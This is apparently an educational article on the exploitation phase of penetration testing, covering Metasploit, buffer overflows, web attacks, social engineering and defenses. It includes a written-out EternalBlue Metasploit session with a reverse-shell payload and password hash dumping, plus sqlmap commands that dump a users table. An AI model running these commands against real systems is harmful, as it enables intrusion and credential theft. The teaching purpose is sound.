Introduction

Exploitation is the third phase of a penetration test, where the tester attempts to leverage discovered vulnerabilities to gain unauthorized access to systems, data, or functionality. The goal is not to cause damage, but to demonstrate the real-world impact of identified vulnerabilities -- proving that a theoretical weakness can actually be exploited and quantifying the risk to the organization.

Exploitation in a professional penetration test is fundamentally different from malicious hacking. Every action is authorized, documented, and conducted with safeguards to prevent unintended damage. Testers carefully select exploits that are unlikely to cause denial of service or data corruption, and they coordinate closely with the client's IT team to ensure critical systems are protected.

The exploitation phase requires deep technical knowledge across multiple domains: networking, operating systems, web technologies, programming, and cryptography. It also requires sound judgment -- knowing which exploits are safe to use in a production environment, when to stop, and how to document findings for maximum remediation value.

"The purpose of exploitation in a penetration test is not to show how clever the tester is, but to demonstrate risk in terms the business can understand and act upon." -- Peter Kim, The Hacker Playbook

The Exploitation Process

Professional exploitation follows a structured, methodical process. Randomly firing exploits at targets is both dangerous and ineffective. Instead, testers build on the detailed intelligence gathered during reconnaissance and scanning to carefully select and execute appropriate exploits.

Vulnerability Verification

Before attempting exploitation, testers verify that identified vulnerabilities are genuine and not false positives from automated scanners. Verification methods include:

  • Banner analysis -- confirming that the software version reported by service banners matches versions known to be vulnerable
  • Manual testing -- sending crafted requests to verify that the application behaves in a way consistent with the reported vulnerability
  • Safe checks -- many exploitation frameworks include "check" functions that verify vulnerability without actually exploiting it
  • Cross-referencing -- comparing scanner results against CVE databases, vendor advisories, and exploit databases to confirm applicability

Exploit Selection and Customization

Once a vulnerability is verified, the tester selects an appropriate exploit. Key considerations include:

  • Reliability -- prefer exploits with high success rates and minimal side effects
  • Stability -- avoid exploits that may crash the target service or cause data loss
  • Detection -- consider whether the exploit will trigger security controls (this may or may not be desirable depending on the engagement scope)
  • Environment compatibility -- ensure the exploit matches the exact target OS, architecture, and software version
Exploit SourceDescriptionReliability
Metasploit FrameworkCurated, tested exploit modules with standardized interfacesHigh -- community reviewed and maintained
Exploit-DBPublic archive of proof-of-concept exploitsVariable -- raw PoCs may need modification
Vendor AdvisoriesTechnical details from software vendorsN/A -- advisories, not exploits
GitHub/ResearchIndividual researcher publicationsVariable -- quality varies widely
Custom DevelopmentExploits written specifically for the engagementDepends on developer skill

The Metasploit Framework

The Metasploit Framework is the most widely used exploitation framework in the penetration testing industry. Originally created by H.D. Moore in 2003 as a portable network tool written in Perl, it was rewritten in Ruby and acquired by Rapid7 in 2009. Metasploit provides a structured environment for developing, testing, and executing exploits against target systems.

Architecture and Components

Metasploit is built around a modular architecture with five primary module types:

Module TypePurposeExample
ExploitsCode that takes advantage of a vulnerability to deliver a payloadexploit/windows/smb/ms17_010_eternalblue
PayloadsCode that runs on the target after successful exploitationwindows/meterpreter/reverse_tcp
AuxiliarySupporting modules for scanning, fuzzing, and enumerationauxiliary/scanner/smb/smb_version
PostPost-exploitation modules for data gathering and pivotingpost/windows/gather/hashdump
EncodersObfuscate payloads to evade signature-based detectionx86/shikata_ga_nai

Usage in Authorized Testing

A typical Metasploit workflow during an authorized penetration test:

# Launch the Metasploit consolemsfconsole# Search for an exploit by CVE or keywordmsf6 > search type:exploit cve:2017-0144msf6 > search eternalblue# Select and configure an exploitmsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50# Check if the target is vulnerable without exploitingmsf6 exploit(ms17_010_eternalblue) > check# Set the payloadmsf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp# Execute the exploitmsf6 exploit(ms17_010_eternalblue) > exploit# Post-exploitation: gather informationmeterpreter > sysinfometerpreter > getuidmeterpreter > hashdump

Buffer Overflow Theory

A buffer overflow occurs when a program writes data beyond the boundary of a fixed-size memory buffer, overwriting adjacent memory. Buffer overflows are among the oldest and most well-understood classes of software vulnerabilities, yet they continue to appear in modern software. Understanding buffer overflow mechanics is fundamental to both exploit development and secure coding practices.

Stack-Based Overflows

Stack-based buffer overflows exploit the way programs store local variables and function return addresses on the call stack. When a vulnerable function copies user-supplied input into a fixed-size stack buffer without bounds checking, an attacker can overwrite the function's return address. By carefully controlling the overwritten value, the attacker redirects execution to injected code (shellcode) or to existing code sequences in memory.

The classic stack overflow exploitation process:

  1. Identify the vulnerability -- find a function that copies input without checking length (e.g., strcpy, gets, sprintf)
  2. Determine the offset -- calculate the exact number of bytes between the start of the buffer and the return address using pattern generation
  3. Control EIP/RIP -- overwrite the return address with a value that redirects execution
  4. Deliver shellcode -- place executable code in the buffer or elsewhere in memory and redirect execution to it
# Conceptual example of a vulnerable C function (educational purposes)# This demonstrates WHY bounds checking is criticalvoid vulnerable_function(char *input) { char buffer[64]; // Fixed-size buffer on the stack strcpy(buffer, input); // VULNERABLE: no length check // If input > 64 bytes, it overwrites the return address}// Secure alternative using bounds-checked functions:void secure_function(char *input) { char buffer[64]; strncpy(buffer, input, sizeof(buffer) - 1); // Length-limited buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate}

Heap-Based Overflows

Heap-based overflows target dynamically allocated memory. They are generally more complex to exploit than stack overflows because the heap's structure varies between allocator implementations and operating systems. Heap exploitation techniques include overwriting function pointers stored in heap metadata, corrupting heap management structures to achieve arbitrary writes, and exploiting use-after-free conditions.

Modern Memory Protections

Operating systems and compilers have implemented multiple defenses against buffer overflow exploitation:

ProtectionMechanismBypass Technique
DEP/NXMarks memory pages as non-executableReturn-Oriented Programming (ROP)
ASLRRandomizes memory layout at each executionInformation leaks, brute-forcing (32-bit)
Stack CanariesPlaces sentinel values before return addressesInformation leaks, format string attacks
SafeSEH/SEHOPValidates exception handler chains (Windows)Non-SafeSEH modules, heap-based techniques
CFIRestricts valid indirect call targetsImplementation-specific weaknesses
PIEPosition-Independent Executables (full ASLR)Information leaks required

Web Application Exploitation

Web applications represent one of the largest attack surfaces in modern organizations. During authorized penetration tests, web application exploitation often yields the most impactful findings because web apps frequently handle sensitive data and provide access to backend systems.

Common web exploitation categories tested during engagements:

  • SQL Injection -- manipulating database queries through unsanitized input to extract data, modify records, or execute commands. Tools: sqlmap, Burp Suite. See SQL Injection Explained
  • Cross-Site Scripting (XSS) -- injecting client-side scripts into web pages viewed by other users. Can be reflected, stored, or DOM-based. See XSS Explained
  • Authentication Bypass -- exploiting flaws in login mechanisms, session management, or access controls. See Authentication Explained
  • Server-Side Request Forgery (SSRF) -- causing the server to make requests to unintended locations, potentially accessing internal resources
  • Insecure Deserialization -- exploiting applications that deserialize untrusted data, potentially achieving remote code execution
  • File Upload Vulnerabilities -- uploading malicious files (web shells, scripts) through inadequate upload validation
  • Local/Remote File Inclusion -- including unauthorized files through path manipulation in file-loading functions
# SQL injection testing with sqlmap (authorized testing only)sqlmap -u "http://target.com/page?id=1" --dbssqlmap -u "http://target.com/page?id=1" -D database_name --tablessqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump# Web shell upload detection (defender's perspective)# Look for: .php, .jsp, .asp files in upload directories# Monitor: unusual outbound connections from web server processes# Check: file integrity monitoring alerts on web directories

Social Engineering

Social engineering exploits human psychology rather than technical vulnerabilities. In authorized penetration tests, social engineering assessments evaluate an organization's human security controls -- security awareness training effectiveness, phishing resilience, physical security procedures, and adherence to information handling policies.

Common social engineering techniques tested in authorized assessments:

  • Phishing -- sending crafted emails designed to elicit credential entry, malware execution, or sensitive information disclosure. Modern campaigns use carefully constructed pretexts tailored to the target organization
  • Spear phishing -- highly targeted phishing against specific individuals, using personal details gathered during OSINT to increase credibility
  • Vishing -- voice phishing via phone calls, impersonating IT support, vendors, or executives to extract information or direct actions
  • Pretexting -- creating a fabricated scenario to establish trust and extract information or gain access
  • Physical social engineering -- tailgating through secure doors, impersonating maintenance workers, or leaving USB devices in parking lots (USB drop attacks)

"People are the weakest link in any security system. You can have the best technology, the best firewalls, the most advanced intrusion detection systems, but if an employee clicks on a phishing link or gives away their password, all of that investment is undermined." -- Kevin Mitnick, The Art of Deception

Payload Types and Delivery

A payload is the code that executes on the target system after a successful exploit. The choice of payload depends on the engagement objectives, network architecture, and detection avoidance requirements.

Payload TypeDescriptionUse Case
Bind ShellOpens a listening port on the target; attacker connects to itTarget has no egress filtering
Reverse ShellTarget connects back to the attacker's listenerTarget behind NAT or egress-filtered (most common)
MeterpreterAdvanced in-memory payload with file system, networking, and pivoting capabilitiesComprehensive post-exploitation
Web ShellServer-side script providing command execution via HTTPWeb server exploitation
StagedSmall initial payload downloads the full payload in a second stageSize-constrained exploits
StagelessComplete payload delivered in a single transmissionFewer network connections needed

Exploit Category Reference

The following table categorizes the major exploit families encountered during penetration testing, along with their typical targets and defensive countermeasures:

CategoryTargetPrimary Defense
Buffer OverflowsC/C++ applications with unsafe memory operationsASLR, DEP, stack canaries, memory-safe languages
SQL InjectionDatabase-backed web applicationsParameterized queries, input validation, WAFs
Cross-Site ScriptingWeb applications rendering user inputOutput encoding, Content Security Policy, input sanitization
Authentication BypassLogin and session management mechanismsMulti-factor authentication, secure session handling
Privilege EscalationOperating system and application access controlsLeast privilege, patching, configuration hardening
Social EngineeringHuman users and organizational processesSecurity awareness training, verification procedures
MisconfigurationsDefault credentials, open services, overly permissive settingsHardening guides, CIS Benchmarks, automated compliance

Defensive Measures

Understanding exploitation is critical for defenders because it reveals how attackers turn vulnerabilities into actual compromise. Effective defenses operate at multiple layers:

  • Patch management -- apply security updates promptly; most exploits target known, patched vulnerabilities
  • Input validation -- validate and sanitize all user input at every trust boundary
  • Least privilege -- run services with minimal permissions; limit user access to only what is required
  • Network segmentation -- isolate critical systems to limit the impact of a successful exploit
  • Endpoint Detection and Response (EDR) -- deploy behavioral detection to identify exploitation attempts and post-exploitation activity
  • Web Application Firewalls (WAF) -- filter known attack patterns against web applications
  • Security awareness training -- regular phishing simulations and security education for all employees
  • Secure development practices -- code reviews, static analysis, dynamic testing, and secure coding standards

For the next phase of penetration testing, see Privilege Escalation. For background on the previous phase, see Scanning and Enumeration.

References

  • Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). Metasploit: The Penetration Tester's Guide. No Starch Press.
  • Erickson, J. (2008). Hacking: The Art of Exploitation, 2nd Edition. No Starch Press.
  • Anley, C., Heasman, J., Lindner, F., & Richarte, G. (2007). The Shellcoder's Handbook, 2nd Edition. Wiley.
  • Kim, P. (2018). The Hacker Playbook 3: Practical Guide To Penetration Testing. Secure Planet.
  • Mitnick, K. D. (2002). The Art of Deception: Controlling the Human Element of Security. Wiley.
  • OWASP. (2021). "OWASP Top 10 - 2021." Open Web Application Security Project.
  • Aleph One. (1996). "Smashing the Stack for Fun and Profit." Phrack Magazine, Issue 49.
  • MITRE ATT&CK. (2024). "Initial Access." Tactic TA0001. The MITRE Corporation.
  • NIST SP 800-115. (2008). Technical Guide to Information Security Testing and Assessment. National Institute of Standards and Technology.
  • Rapid7. (2024). Metasploit Framework Documentation.